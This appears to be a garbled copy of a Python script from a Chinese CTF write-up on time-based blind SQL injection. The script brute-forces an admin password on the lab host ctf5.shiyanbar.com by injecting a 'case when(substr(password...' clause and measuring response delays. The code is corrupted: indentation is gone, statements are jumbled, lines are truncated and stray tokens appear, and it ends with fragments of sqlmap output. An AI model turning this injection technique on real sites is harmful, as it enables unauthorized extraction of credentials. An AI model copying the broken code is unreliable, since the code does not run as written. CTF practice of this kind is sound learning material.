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<span style="color:#666666">_ author__ = 'netfish'
# -*-coding:utf-8-*-

import requests

import time

payloads

= 'abcdefghijklmnopgrstuvwxyz0123456789@ .{}-' #ARXDKNBK

flag = ""

key=0

print("Start")
for i in range(1,50):
if key == 1:

for

break
payload in payloads:
starttime = time.time()#iCIt4aiH A
headers = {"Host": "ctf5.shiyanbar.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Cookie": "Hm_lvt_ 34d6f7353ab0@915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471
"Connection": "keep-alive",
}
url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin’' and case when(substr(password,
res = requests.get(url, headers=headers)
if time.time() - starttime > 10:
flag += payload
print('\n pwd is:', flag)
break
else:
if payload == '-"':
key = 1
break

print('\n[Finally] current pwd is %s' % flag)
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<span style="color:#666666">else:

if payload == '-':
key = 1
break</span>
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Database: test
Table: admin
[1 entryl




	实验吧-看起来有点难【基于sleep的sql注入脚本】

